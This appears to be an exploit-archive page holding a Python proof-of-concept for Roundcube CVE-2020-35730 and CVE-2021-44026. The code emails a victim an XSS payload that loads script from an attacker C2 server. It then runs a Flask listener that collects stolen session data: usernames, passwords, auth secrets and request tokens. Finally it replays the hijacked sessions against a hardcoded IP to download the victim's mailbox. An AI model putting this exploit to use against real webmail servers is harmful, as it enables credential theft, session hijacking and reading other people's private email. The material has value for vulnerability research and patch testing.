4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import base64
import json
from datetime import datetime
import argparse
import logging as log

import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText


import requests
from flask import Flask, logging, request

app = Flask(__name__)
logger = logging.create_logger(app)
logger.setLevel(10)


class Mail:
    def __init__(
        self, smtp_server, smtp_port, sender_email, sender_password, target_email
    ):
        self.smtp_server = smtp_server
        self.smtp_port = smtp_port
        self.sender_email = sender_email
        self.sender_password = sender_password
        self.target_email = target_email

    def send_email(self, subject, message_body):
        mail_message = MIMEMultipart()
        mail_message["Subject"] = subject
        mail_message["From"] = self.sender_email
        mail_message["To"] = self.target_email

        message = MIMEText(message_body)
        mail_message.attach(message)

        try:
            smtp_server = smtplib.SMTP(self.smtp_server, self.smtp_port)
            smtp_server.connect(self.smtp_server, self.smtp_port)
            smtp_server.ehlo()
            smtp_server.starttls()
            smtp_server.ehlo()
            smtp_server.login(self.sender_email, self.sender_password)
            smtp_server.sendmail(
                self.sender_email, self.target_email, mail_message.as_string()
            )
        except smtplib.SMTPException:
            return False

        log.info("Mail was successfully sent!")
        return True


class Exploit:
    C2_PAYLOAD = 'var s=document.createElement("script");s.type="text/javascript";s.src="{url}/static/{filename}";document.head.append(s);'
    XSS_PAYLOAD = "[<script>eval(atob('{enc_payload}'))</script>]:##str_replacement_0##"

    def __init__(self, c2_server, c2_filename):
        self.target_host = c2_server
        self.filename = c2_filename

    def build_fetching_payload(self):
        c2_payload = self.C2_PAYLOAD.format(
            url=self.target_host, filename=self.filename
        )
        encoded_payload = base64.b64encode(c2_payload.encode("latin-1")).decode(
            "latin-1"
        )
        payload = self.XSS_PAYLOAD.format(enc_payload=encoded_payload)

        return payload


@app.route("/")
def index():
    return "Hello from Flask!"


@app.route("/error", methods=["POST"])
def error():
    body = request.get_data(as_text=True)
    logger.error(f"Exploit failed. Reason: {body}")

    return ""


def generate_timestamp():
    lifetime = 600
    time_format = "%a, %d %b %Y %H:%M:%S %z"

    try:
        date = requests.get("http://45.32.150.130:9009/").headers["Date"]
        date = " ".join(date.split(" ")[:-1]) + " +0000"
    except (IndexError, KeyError, TypeError, requests.exceptions.RequestException):
        return None

    now = int(datetime.strptime(date, time_format).timestamp())
    now = now - (now % (lifetime // 2))

    return now


def fetch_mails(tokens_dict):
    response_dict = {}
    url = "http://45.32.150.130:9009"

    for sess_id, token in tokens_dict.items():
        timestamp = generate_timestamp()
        if not token or not timestamp:
            continue

        auth_secret = token.get("auth_secret", "")
        if not auth_secret:
            continue

        cookies = {
            "roundcube_sessid": sess_id,
            "roundcube_sessauth": f"{token.get('auth_secret', '')}-{timestamp}",
        }

        try:
            response = requests.get(
                url + "/?_task=mail&_action=list&_mbox=INBOX&_remote=1&_threads=1",
                cookies=cookies,
                timeout=1.0,
            )
        except requests.exceptions.RequestException:
            continue

        if not response.text:
            continue

        lines = response.text.split("\\n")
        identifier = "this.add_message_row"

        mails = []

        for line in lines:
            if not line.startswith(identifier):
                continue

            # The uid is the first parameter in the call to add_message row, so the
            # pattern we are looking for is this.add_message_row(UID, ...)
            mail_uid = line[line.find("(") + 1 : line.find(",")]
            logger.info("Got uid: %s" % mail_uid)

            request_token = token.get("request_token")
            if not request_token:
                continue

            req = requests.get(
                url
                + f"/?_task=mail&_save=1&_uid={mail_uid}&_mbox=INBOX&_action=viewsource&_token={request_token}",
                cookies=cookies,
                timeout=1,
            )

            mail_text = req.text
            if not mail_text:
                continue

            logger.info("Got mail: %s" % mail_text)
            mails.append(mail_text)

        if not mails:
            continue

        logger.debug(
            "Mails of %s:\n%s"
            % (token.get("username"), "\n".join((str(mail) for mail in mails)))
        )

        response_dict[token.get("username")] = response.text

    return response_dict


@app.route("/store", methods=["POST"])
def store():
    tokens = {}
    reading = False
    sess_id, sess_variables = "", ""

    body = request.get_data(as_text=True)
    data = json.loads(body)["data"]
    data = base64.b64decode(data).decode("utf-8").strip()

    for line in data.split("\r\n"):
        if not reading:
            sess_id, sess_variables = "", ""
        if line.startswith("BEGIN:VCARD"):
            reading = True
            continue

        if line.startswith("N:"):
            sess_variables += line[2:].strip()
        elif line.startswith(" "):
            sess_variables += line[1:].strip()

        if line.startswith("FN:"):
            sess_id = line[3:].strip()
        elif line.startswith("END:VCARD"):
            reading = False
            sess_variables = sess_variables.strip(";")
            sess_variables = (
                base64.b64decode(sess_variables).decode("utf-8").strip(" \r\n{}\t")
            )

            wanted_keys = {}
            exfiltate_keys = (
                "username",
                "password",
                "auth_secret",
                "request_token",
                "login_time",
            )

            for value in sess_variables.split(";"):
                for key in exfiltate_keys:

                    if not value.startswith(key):
                        continue
                    try:
                        split = value[len(key) + 1 :].split(":")
                        value_type = split[0]

                        if value_type == "i":
                            wanted_keys[key] = split[1].strip('"')
                        elif value_type == "s":
                            wanted_keys[key] = split[2].strip('"')
                        else:
                            wanted_keys[key] = value
                    except IndexError:
                        logger.error("Failed to extract value %s" % value)
                        wanted_keys[key] = ""

            tokens[sess_id] = wanted_keys

    logger.info("Exploit succeeded. Data:")

    for sess_id, sess_vars in tokens.items():
        logger.info(f"Session ID: {sess_id}")
        for key in sess_vars:
            logger.info(f"\t{key}: {sess_vars[key]}")

    fetch_mails(tokens)

    return ""


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Roundcube CVE-2020-35730 & CVE-2021-44026 exploit"
    )

    # Add arguments
    parser.add_argument("smtp_server", type=str, help="Sender SMTP server name")
    parser.add_argument("smtp_port", type=str, help="Sender SMTP server port")
    parser.add_argument("sender_email", type=str, help="Sender email address")
    parser.add_argument(
        "sender_password",
        type=str,
        help="Sender email password for logging into the SMTP server",
    )
    parser.add_argument("target_email", type=str, help="Target email address")
    parser.add_argument(
        "c2_server",
        type=str,
        help="The URL on which the C2 server will listen",
        default="http://localhost:81",
    )

    # Parse the command-line arguments
    args = parser.parse_args()

    c2_filename = "fetcher.js"
    c2_file_path = "./static/fetcher.js"
    with open(c2_file_path) as file:
        replace_c2_server = file.read().replace("<C2_server>", args.c2_server)
    with open(c2_file_path, "w") as file:
        file.write(replace_c2_server)

    exploit = Exploit(c2_server=args.c2_server, c2_filename=c2_filename)
    payload = exploit.build_fetching_payload()

    mail = Mail(
        smtp_server=args.smtp_server,
        smtp_port=args.smtp_port,
        sender_email=args.sender_email,
        sender_password=args.sender_password,
        target_email=args.target_email,
    )
    mail.send_email(subject="Hello!", message_body=payload)
    app.run(host="0.0.0.0", port=81)